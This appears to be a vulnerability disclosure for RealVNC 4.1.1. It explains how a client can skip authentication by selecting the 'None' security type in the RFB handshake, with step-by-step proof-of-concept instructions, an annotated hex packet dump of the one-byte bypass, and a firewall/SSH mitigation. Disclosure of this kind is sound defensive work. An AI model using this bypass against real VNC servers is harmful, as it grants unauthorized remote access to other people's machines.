As documented in rfbproto.pdf by Tristan Richardson, the RFB (remote frame buffer) protocol performs an initial handshake which allows clients and servers to negotiate appropriate authentication measures. There are several methods of authentication, including the standard DES Challenge-Response, as well as an option to disable authentication completely. Due to an incorrect implementation, clients are able to force the server to disable authentication, and allow login without a password.
Proof of Concept:
1. Server sends its version, "RFB 003.008\n"
2. Client replies with its version, "RFB 003.008\n"
3. Server sends 1 byte which is equal to the number of security types offered
3a. Server sends an array of bytes which indicate security types offered
4. Client replies with 1 byte, chosen from the array in 3a, to select the security type
5. The handshake, if requested, is performed, followed by "0000" from the server
In RealVNC 4.1.1 and possibly prior versions which implement RFB 003.008 (though not RealVNC 4.0), the server does NOT perform a check to determine if the byte sent by the client in step 4 has actually been offered by the server in step 3a. In effect, authentication is moved from the server side to the client side. It is possible to force your client to simply request "Type 1 - None" as the security type, and gain access to the server without having to go through the time consuming and cumbersome password entry field.
Here is a typical packet dump:
Server -> Client: 52 46 42 20 30 30 33 2e 30 30 38 0a <- Server version
Client -> Server: 52 46 42 20 30 30 33 2e 30 30 38 0a <- Client version
Server -> Client: 01 02 <- One field follows... and that field is 02 (DES Challenge)
Client -> Server: 01 <- Ahh, the lovely 1 byte exploit! Beautiful, isn't it?
Server -> Client: 00 00 00 00 <-- Authenticated!
Run VNC servers behind firewall, and use SSH tunnels for communication.